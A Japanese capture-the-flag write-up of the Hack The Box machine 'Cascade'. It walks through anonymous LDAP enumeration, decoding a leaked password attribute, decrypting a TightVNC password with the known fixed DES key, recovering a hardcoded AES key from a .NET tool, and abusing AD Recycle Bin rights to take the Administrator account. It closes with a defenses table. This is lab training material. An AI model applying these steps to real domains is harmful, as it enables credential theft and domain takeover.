Hack The BoxのWriteup(Cascade)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Cascade — 全実行コマンド・実行結果レポート
Nmap スキャン
DC(53/88/389/445/3268/5985)
LDAP匿名バインド
cascadeLegacyPwd属性漏洩
r.thompson平文パスワード
base64デコード
SMB Data共有
VNC Install.reg 取得
TightVNC固定DESキー復号
s.smithパスワード
WinRMログイン
user.txt ✓
Audit$共有 .NETリバエン
固定AESキーでArkSvc復号
AD Recycle Bin
削除済みTempAdmin復元
root.txt ✓

Nmap ポートスキャン

BASH
nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 10.129.55.232
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1)
88/tcp   open  tcpwrapped
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
Service Info: Host: CASC-DC1; OS: Windows Server 2008 R2 SP1
ℹ️
ドメインコントローラ CASC-DC1.cascade.local。LDAP(389/3268)とWinRM(5985)が開いているため、 認証情報さえ手に入れば evil-winrm でシェルを取れる見込みが立つ。

SMB匿名アクセスと基本列挙

BASH
smbclient -L //10.129.55.232 -N
enum4linux -a 10.129.55.232
RESULT
Anonymous login successful
(共有名は匿名一覧では見えないが、後述の資格情報取得後にDataやAudit$共有へアクセス可能)
PHASE 2

LDAP匿名バインドによるユーザー列挙とカスタム属性漏洩

LDAP匿名バインドでドメインユーザーを列挙

BASH
ldapsearch -x -H ldap://10.129.55.232 -b "DC=cascade,DC=local" \
  "(objectClass=user)" sAMAccountName
RESULT
sAMAccountName: CascGuest
sAMAccountName: CASC-DC1$
sAMAccountName: arksvc
sAMAccountName: s.smith
sAMAccountName: r.thompson
sAMAccountName: util
sAMAccountName: j.wakefield
sAMAccountName: s.hickson
sAMAccountName: j.goodhand
sAMAccountName: a.turnbull
sAMAccountName: e.crowe
sAMAccountName: b.hanson
sAMAccountName: d.burman
sAMAccountName: BackupSvc
sAMAccountName: j.allen
sAMAccountName: i.croft
🚨
認証情報一切不要でドメインの全ユーザー名を列挙できる。 LDAPが匿名バインドを許可する設定ミスは、AD環境における非常によくある初期突破口。

r.thompson のカスタム属性 cascadeLegacyPwd を照会

NOTE
ユーザーオブジェクトのdescription/comment属性だけでなく、スキーマ拡張された
独自属性の有無も確認する。Cascadeでは cascadeLegacyPwd という非標準属性が
複数ユーザーに設定されており、レガシーシステム移行時の名残としてbase64化
された平文パスワードがそのまま格納されている。
BASH
ldapsearch -x -H ldap://10.129.55.232 -b "DC=cascade,DC=local" \
  "(sAMAccountName=r.thompson)" cascadeLegacyPwd
RESULT
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
cascadeLegacyPwd: clk0bjVldmE=
BASH
echo "clk0bjVldmE=" | base64 -d
RESULT
rY4n5eva
認証情報取得: r.thompson : rY4n5eva。WinRM(Remote Management Users)権限は無いが、 SMBの Data 共有には閲覧可能。
PHASE 3

TightVNC固定DESキーによるレジストリバックアップ復号 → user.txt

Data共有を r.thompson でマウントし内部文書を確認

BASH
smbclient //10.129.55.232/Data -U r.thompson%rY4n5eva
RESULT
smb: \> ls
  IT
  Finance
  ...
smb: \> cd IT\Email Archives\
smb: \> get "Meeting_Notes_June_2018.html"
ℹ️
Meeting_Notes_June_2018.htmlには「アカウント TempAdminAdministratorと同一パスワードを使っている(棚卸し後に削除予定)」という 社内メモが記載されている。この情報は後のPhase 5で決定的な手掛かりになる。

IT\Temp\s.smith 配下の VNC Install.reg を取得

BASH
smbclient //10.129.55.232/Data -U r.thompson%rY4n5eva \
  -D 'IT\Temp\s.smith' -c 'get "VNC Install.reg"'
RESULT (VNC Install.reg の該当行)
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
...
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
⚠️
ハマりどころ: Windowsの .reg エクスポートファイルは UTF-16LE(先頭にBOM \xff\xfe)で保存されている。 これをテキストエディタや cat で素朴に開くと文字化けして見えることがある (各ASCII文字の間にNULバイトが挟まる)。プログラムで正規表現抽出する場合は 明示的に utf-16 エンコーディングを指定してデコードする必要がある。 UTF-8扱いのままだとNULバイトが文字列に混入し、"Password"という リテラル文字列へのマッチが常に失敗してしまう。

TightVNC固定DESキーで復号

NOTE
TightVNC(および元祖VNC)はレジストリ保存パスワードを、公開・固定の
DESキー(0x1734636A8CD9B7CA相当のバイト列をビット反転したもの)で
ECBモード暗号化しているだけであることが広く知られている。
この固定キーはツールのソースコードに直接ハードコードされているため、
暗号鍵の秘匿性はゼロに等しい。
PYTHON
from Crypto.Cipher import DES

# TightVNCの公開既知固定キー(各バイトのビット順を反転させたもの)
fixed_key = bytes([0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07])

enc = bytes.fromhex("6bcf2a4b6e5aca0f")
cipher = DES.new(fixed_key, DES.MODE_ECB)
dec = cipher.decrypt(enc)
print(dec.split(b"\x00")[0].decode())
RESULT
sT333ve2
認証情報取得: s.smith : sT333ve2

WinRMログイン & user.txt 取得

BASH
evil-winrm -i 10.129.55.232 -u 's.smith' -p 'sT333ve2'
RESULT
*Evil-WinRM* PS C:\Users\s.smith\Documents> type C:\Users\s.smith\Desktop\user.txt
f0b7eb1bca66bd7e578324712263b26b
user.txt — s.smith@CASC-DC1
f0b7eb1bca66bd7e578324712263b26b
PHASE 4

Audit$共有の .NET監査ツールをリバースエンジニアリング → ArkSvcパスワード復号

Audit$共有からツール一式を取得

BASH
smbclient //10.129.55.232/Audit$ -U s.smith%sT333ve2
smb: \> ls
  CascAudit.exe
  CascCrypto.dll
  DB
smb: \> cd DB
smb: \> get Audit.db
ℹ️
Audit$は社内向けの「アカウント監査ツール」一式を配布する共有。実行ファイル本体 (CascAudit.exe)とその暗号処理ライブラリ(CascCrypto.dll)、そして 監査対象アカウントの資格情報を保存したSQLiteデータベース(Audit.db)が含まれている。

SQLiteのLdapテーブルから暗号化パスワードを取得

BASH
sqlite3 Audit.db "SELECT uname, pwd, domain FROM Ldap;"
RESULT
ArkSvc|<base64暗号文>|cascade.local

.NETアセンブリを逆コンパイルし固定AESキーを特定

NOTE
dnSpy等の.NETデコンパイラで CascCrypto.dll を開き、復号ロジックを解析する。
Decrypt()メソッド内で AES-128-CBC の Key と IV がそれぞれハードコードされた
バイト配列として直接埋め込まれていることが判明する。
RESULT (逆コンパイル結果より特定した定数)
Key = "c4scadek3y654321"  (16バイト = AES-128)
IV  = "1tdyjCbY1Ix49842"  (16バイト)

AES復号でArkSvcのパスワードを取得

PYTHON
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

key = b"c4scadek3y654321"
iv  = b"1tdyjCbY1Ix49842"

enc = base64.b64decode(enc_b64)  # Audit.db の Ldap.pwd カラムの値
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
dec = cipher.decryptor().update(enc)
# PKCS7パディングを除去
dec = dec[: -dec[-1]]
print(dec.decode())
RESULT
w3lc0meFr31nd
認証情報取得: ArkSvc : w3lc0meFr31nd
PHASE 5

AD Recycle Bin悪用 — 削除済みTempAdminオブジェクトの復元閲覧

ArkSvcの所属グループを確認

BASH
evil-winrm -i 10.129.55.232 -u 'ArkSvc' -p 'w3lc0meFr31nd'
*Evil-WinRM* PS> whoami /groups
RESULT
CASCADE\AD Recycle Bin                     Alias            S-1-5-...
🚨
重大発見: ArkSvcは AD Recycle Bin グループのメンバー。 このグループには削除済みAD オブジェクト(isDeleted=TRUE)を -IncludeDeletedObjects オプション付きで閲覧する権限が付与されている。 Phase3-1で見つけたメモの「TempAdminはAdministratorと同一パスワードで、棚卸し後に削除予定」 という記述を思い出すと、削除済みTempAdminオブジェクトのcascadeLegacyPwd属性を 復元閲覧できればAdministratorのパスワードが手に入るという筋道が立つ。

削除済みTempAdminオブジェクトの cascadeLegacyPwd を取得

BASH
*Evil-WinRM* PS> Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)(isDeleted=TRUE))" `
  -IncludeDeletedObjects -Properties cascadeLegacyPwd | Select-Object -ExpandProperty cascadeLegacyPwd
RESULT
YmFDVDNyMWFOMDBkbGVz
⚠️
ハマりどころ: evil-winrm を --no-colors オプション付きで 自動化スクリプトから非対話実行しても、内部で使われているReline(readline相当)由来の カーソル位置制御シーケンス(\x1b[1G等)は出力から取り除かれず、 目的の行の先頭に直接連結された状態で出力される (例: \x1b[1GYmFDVDNyMWFOMDBkbGVz)。単純に「行全体がbase64パターンに フルマッチするか」で判定すると、この制御シーケンス混入により実際には値が 正しく出力されているにもかかわらず抽出に失敗する。自動化する場合は ANSIエスケープシーケンス(\x1b\[[0-9;?]*[a-zA-Z] 等)を正規表現で 除去してから判定すること。
BASH
echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
RESULT
baCT3r1aN00dles
認証情報取得: Administrator : baCT3r1aN00dles (TempAdminと共有されているパスワード)
PHASE 6

Administratorとしてログイン → root.txt

root.txt 取得

BASH
evil-winrm -i 10.129.55.232 -u 'Administrator' -p 'baCT3r1aN00dles'
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
RESULT
bd9fc711e75616760aaceaf0fc11382a
root.txt — Administrator@CASC-DC1
bd9fc711e75616760aaceaf0fc11382a
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — s.smith@CASC-DC1
f0b7eb1bca66bd7e578324712263b26b
root.txt — Administrator@CASC-DC1
bd9fc711e75616760aaceaf0fc11382a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LDAP匿名バインド + カスタム属性への平文格納 Active Directory (:389) ユーザー一覧列挙 + 平文パスワード漏洩 High 認証なしでcascadeLegacyPwd属性(base64)を照会しr.thompsonの資格情報を取得
TightVNCの固定DESキー SMB Data共有内の VNC Install.reg VNCパスワードの復号 → OS資格情報流用 Critical 公開既知の固定DESキーでECB復号しs.smithパスワードを取得
自作暗号ツールの固定AESキーのハードコード Audit$共有 CascCrypto.dll 監査ツールが保存するサービスアカウントパスワードの復号 Critical .NETリバースエンジニアリングで固定Key/IVを特定しArkSvcパスワードを復号
AD Recycle Binの過剰な権限付与 ArkSvcサービスアカウント 削除済みオブジェクトの機密属性の復元閲覧 High -IncludeDeletedObjectsで削除済みTempAdminのcascadeLegacyPwd属性を復元しAdministratorパスワードを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapADドメインコントローラ(CASC-DC1, cascade.local)判明
2LDAP匿名バインドldapsearch匿名クエリ全ユーザー一覧 + r.thompson:rY4n5eva
3TightVNC鍵復号SMB Data共有 + DES固定キー復号user.txt 取得 (s.smith:sT333ve2)
4.NETリバエンAudit$共有 + CascCrypto.dll解析 + AES復号ArkSvc:w3lc0meFr31nd
5AD Recycle Bin悪用Get-ADObject -IncludeDeletedObjectsAdministrator:baCT3r1aN00dles
6管理者ログインevil-winrmroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
LDAP匿名バインドが有効で、独自スキーマ拡張属性に平文パスワードを保存している LDAP匿名バインドを無効化する(dsHeuristics設定の見直し)。パスワードやシークレットは 決してADのカスタム属性に平文/単純base64で保存せず、専用のシークレット管理システムを使う。
TightVNCなどレガシーVNCサーバーの固定・公開暗号鍵に依存したパスワード保存方式を利用 VNCサーバー自体の利用を廃止するか、より安全な認証方式・トンネリング(SSH経由等)に切り替える。 レジストリエクスポートファイルを共有ドライブに放置しない。
自作の資格情報管理ツールが対称鍵をバイナリにハードコードしている 暗号鍵はハードコードせず、HSMや鍵管理サービス(Azure Key Vault等)、少なくとも実行時に 安全に注入される設定として管理する。バイナリの逆コンパイルで鍵が露出しないよう設計する。
サービスアカウントにAD Recycle Binのような強力な閲覧権限が不必要に付与されている 最小権限の原則を徹底し、AD Recycle Binメンバーシップは真に必要なロールのみに限定する。 退職者/一時アカウントの削除運用では、削除前にパスワード自体をローテーションしてから アカウントを無効化・削除する(削除後もカスタム属性は残存し復元可能な点に注意)。
HackTheBox: Cascade | 完全攻略レポート